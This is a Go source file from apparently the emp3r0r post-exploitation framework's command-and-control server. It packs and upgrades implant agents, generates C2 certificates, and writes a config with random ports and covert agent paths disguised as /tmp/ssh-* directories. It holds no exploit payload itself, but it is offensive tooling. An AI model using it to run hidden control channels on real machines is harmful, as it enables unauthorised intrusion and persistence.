/
buildAgent.go
176 lines (156 loc) · 5.09 KB
/
buildAgent.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
//go:build linux
// +build linux
package cc
import (
"encoding/json"
"fmt"
"os"
"github.com/bettercap/readline"
"github.com/google/uuid"
emp3r0r_data "github.com/jm33-m0/emp3r0r/core/lib/data"
"github.com/jm33-m0/emp3r0r/core/lib/tun"
"github.com/jm33-m0/emp3r0r/core/lib/util"
)
var Arch_List = []string{
"386",
"amd64",
"arm",
"arm64",
"mips",
"mips64",
"riscv64",
}
// PackAgentBinary pack agent ELF binary with Packer()
func PackAgentBinary() {
// completer
compls := []readline.PrefixCompleterInterface{
readline.PcItemDynamic(listLocalFiles("./"))}
CliCompleter.SetChildren(compls)
defer CliCompleter.SetChildren(CmdCompls)
// ask
answ := CliAsk("Path to agent binary: ", false)
go func() {
err := Packer(answ)
if err != nil {
CliPrintError("PackAgentBinary: %v", err)
}
}()
}
func UpgradeAgent() {
if !util.IsExist(WWWRoot + "agent") {
CliPrintError("%s/agent not found, build one with `use gen_agent` first", WWWRoot)
return
}
checksum := tun.SHA256SumFile(WWWRoot + "agent")
SendCmdToCurrentTarget(fmt.Sprintf("%s %s", emp3r0r_data.C2CmdUpdateAgent, checksum), "")
}
// read config by key from emp3r0r.json
func read_cached_config(config_key string) (val interface{}) {
// read existing config when possible
var (
jsonData []byte
config_map map[string]interface{}
)
if util.IsExist(EmpConfigFile) {
CliPrintInfo("Reading config '%s' from existing %s", config_key, EmpConfigFile)
jsonData, err = os.ReadFile(EmpConfigFile)
if err != nil {
CliPrintWarning("failed to read %s: %v", EmpConfigFile, err)
return ""
}
// load to map
err = json.Unmarshal(jsonData, &config_map)
if err != nil {
CliPrintWarning("Parsing existing %s: %v", EmpConfigFile, err)
return ""
}
}
exists := false
val, exists = config_map[config_key]
if !exists {
err = fmt.Errorf("%s not found in JSON config", config_key)
return ""
}
return val
}
// GenC2Certs generate certificates for CA and emp3r0r C2 server
func GenC2Certs(hosts []string) (err error) {
if !util.IsFileExist(CAKeyFile) || !util.IsFileExist(CACrtFile) {
CliPrint("CA cert not found, generating...")
err = tun.GenCerts(nil, "", true)
if err != nil {
return fmt.Errorf("Generate CA: %v", err)
}
CliPrintInfo("CA fingerprint: %s", RuntimeConfig.CAFingerprint)
}
if !util.IsFileExist(CAKeyFile) || !util.IsFileExist(CACrtFile) {
return fmt.Errorf("%s or %s still not found, CA cert generation failed", CAKeyFile, CACrtFile)
}
// save CA cert to emp3r0r.json
err = LoadCACrt()
if err != nil {
return fmt.Errorf("GenC2Certs failed to load CA to RuntimeConfig: %v", err)
}
// generate server cert
CliPrint("Server cert not found, generating...")
CliPrintInfo("Server cert fingerprint: %s", tun.GetFingerprint(ServerCrtFile))
return tun.GenCerts(hosts, "emp3r0r", false)
}
func save_config_json() (err error) {
err = LoadCACrt()
if err != nil {
return fmt.Errorf("save_config_json: %v", err)
}
w_data, err := json.Marshal(RuntimeConfig)
if err != nil {
return fmt.Errorf("Saving %s: %v", EmpConfigFile, err)
}
return os.WriteFile(EmpConfigFile, w_data, 0600)
}
func InitConfigFile(cc_host string) (err error) {
// random ports
RuntimeConfig.CCHost = cc_host
RuntimeConfig.CCPort = fmt.Sprintf("%v", util.RandInt(1025, 65534))
RuntimeConfig.AutoProxyPort = fmt.Sprintf("%v", util.RandInt(1025, 65534))
RuntimeConfig.BroadcastPort = fmt.Sprintf("%v", util.RandInt(1025, 65534))
RuntimeConfig.SSHDShellPort = fmt.Sprintf("%v", util.RandInt(1025, 65534))
RuntimeConfig.ShadowsocksPort = fmt.Sprintf("%v", util.RandInt(1025, 65534))
RuntimeConfig.KCPPort = fmt.Sprintf("%v", util.RandInt(1025, 65534))
RuntimeConfig.HTTPListenerPort = fmt.Sprintf("%v", util.RandInt(1026, 65534))
RuntimeConfig.Timeout = util.RandInt(10000, 20000)
// SSH host key
RuntimeConfig.SSHHostKey, _, err = tun.GenerateSSHKeyPair()
if err != nil {
return fmt.Errorf("failed to generate SSH host key: %v", err)
}
// random strings
RuntimeConfig.AgentUUID = uuid.NewString()
agent_root := util.RandStr(util.RandInt(6, 20))
RuntimeConfig.AgentRoot = fmt.Sprintf("/tmp/ssh-%v", agent_root)
utils_path := util.RandStr(util.RandInt(3, 20))
RuntimeConfig.UtilsPath = fmt.Sprintf("%s/%v", RuntimeConfig.AgentRoot, utils_path)
socket := util.RandStr(util.RandInt(3, 20))
RuntimeConfig.SocketName = fmt.Sprintf("%s/%v", RuntimeConfig.AgentRoot, socket)
pid_file := util.RandStr(util.RandInt(3, 20))
RuntimeConfig.PIDFile = fmt.Sprintf("%s/%v", RuntimeConfig.AgentRoot, pid_file)
RuntimeConfig.Password = util.RandStr(20)
// time intervals
RuntimeConfig.BroadcastIntervalMin = 30
RuntimeConfig.BroadcastIntervalMax = 130
RuntimeConfig.IndicatorWaitMin = 30
RuntimeConfig.IndicatorWaitMax = 130
RuntimeConfig.AutoProxyTimeout = 0 // disable timeout by default, leave it to the OS
return save_config_json()
}
// LoadCACrt load CA cert from file
func LoadCACrt() error {
// CA cert
ca_data, err := os.ReadFile(CACrtFile)
if err != nil {
return fmt.Errorf("failed to read CA cert: %v", err)
}
tun.CACrt = ca_data
RuntimeConfig.CAPEM = string(tun.CACrt)
RuntimeConfig.CAFingerprint = tun.GetFingerprint(CACrtFile)
return nil
}